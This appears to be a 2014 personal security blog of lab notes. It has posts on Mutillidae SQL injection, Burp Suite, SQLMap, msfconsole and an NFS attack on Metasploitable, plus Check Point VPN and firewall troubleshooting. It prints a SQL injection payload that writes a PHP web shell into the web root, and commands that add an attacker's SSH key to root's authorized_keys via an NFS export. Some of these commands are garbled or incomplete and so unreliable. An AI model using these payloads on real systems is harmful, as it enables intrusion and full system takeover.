Monday, 14 April 2014

Mutillidae: Inject Web Shell Backdoor via SQL Injection

Using somewhat advanced SQL injection, we inject a new PHP file into the web root of the PHP server using and SQL injection vulnearbility in Mutillidae. The injection is a command shell written in PHP that give root access to the operating system.

A harmless example;

username=' union select null,1,null,null,null INTO DUMPFILE 'test.txt' -- '&password=&login-php-submit-button=Login

The backdoor;

' union select null,null,null,'<form action="" method="post" enctype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Please enter system command</td></tr><tr><td></td></tr><tr><td class="label">Command</td><td><input type="text" name="pCommand" size="50"></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Execute Command" /></td></tr></table></form><?php echo "<pre>";echo shell_exec($_REQUEST["pCommand"]);echo "</pre>"; ?>' INTO DUMPFILE '..\\..\\htdocs\\mutillidae\\backdoor.php' --


Friday, 11 April 2014

SQL Injection using SQLMap to Dump Some Cool Stuff (mutillidae)

After you get the HTTP request from burp suite to a text file, then we can use that file in SQLMap to begin injection.

Brute-force Authentication - Burp Suite

Here is the basic methods to brute force a web app. I found it very clean and tidy. Nice work.

Thursday, 10 April 2014

Checkpoint Remote Access 'connection failed' Issue with Windows 8 or 8.1

I have seen this issue in couple of clients, they were using windows 8 and windows 8.1.

They tried to connect with Remote Access Client E75.30, but 'connection failed' popup displayed straight away. There are couple of SKs about duplicate IP addresses etc.

Simply, Remote Access Clients E80.42 msi file (MSI) is the way to go.
File Name:CP_EPS_E80.42_RAC_Windows.msi
Product:Endpoint Security VPN
Minor Version:E80.42
Size:15.90 MB
Date Published:12/10/2013

It worked a treat.

Monday, 24 March 2014

Mutillidae: Basics of Web Request and Response Interception with Burp-Suite

There is something more here;

  • It explains the method to bypass the java script validation built on the client side (browser). 
  • After transferring normal strings, change the strings to SQL injection on-the-fly with Burp or another proxy utility.

Fun stuff! :)

Thursday, 13 March 2014

sessions (msfconsole)

Is there a background session?


list the sessions established

to connect one of them

sessions -i [session_id]

Unix Fundamentals - NFS Service / Attack Illustration

look at the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services.The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.

root@ubuntu:~# rpcinfo -p

    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs

    100003    4   tcp   2049  nfs

root@ubuntu:~# showmount -e

Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: 

root@ubuntu:~# ssh-keygen
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs /tmp/r00t/ rpc.statd is not running but is required for remote locking.
mount.nfs: Either use '-o nolock' to keep locks local, or start statd. 
mount.nfs: an incorrect mount option was specified.

This is the message you get when you try to mount the NFS export. 

restarting nfs-common is not enough

  • service nfs-common restart

restarting rpc will resolve the issue.

  • service rpcbind restart

root@ubuntu:~# cat /root/.ssh/ >> /tmp/r00t/root/.ssh/authorized_keys 

ssh root@ 

//with the password generated on the ssh-keygen (then add our pub file -key- into the account's authorized_keys file on the remote machine), you can access to the remote system. yay. 


The environment include Kali and Metasploitable II.


Tuesday, 4 March 2014

Debug Policy Install

Debugging a manual policy pull from the enforcement point, and push from the SmartCenter, like so:

fw -d fetch <SmartCenter server IP address>
  • fw -d fetchlocal -d $FWDIR/state/__tmp/FW1 &> <output file>

cpd.elg files from $CPDIR/log from the firewall

Push from the Smart Center to enforcement point;

fwm -d load policy_name gateway_name 2> <filename>.txt

Policy installation fails with "ERROR: function or table < pgm_len_block_code > undefined" and ".../conf/updates.def"

  • After upgrading a Security Management to R76, policy installation in SmartDashboard fails with the following errors:
    "/opt/.../conf/updates.def", line N: ERROR: syntax error
    "/opt/.../conf/<Policy_Name>.pf", line N: ERROR: function or table < pgm_len_block_code > undefined
    "/opt/.../conf/<Policy_Name>.pf", line N: ERROR: syntax error
    Compilation failed.
    Operation ended with errors. 
  • Debug of FWM daemon (per sk86186) shows the same 'ERROR: syntax error'.
  • Hotfix for IPv6 flavor issue from sk92933 does not help.
IPS definitions are not up-to-date, or do not exist.


Perform IPS Update in SmartDashboard.

The issue occurred on R77 env. as well.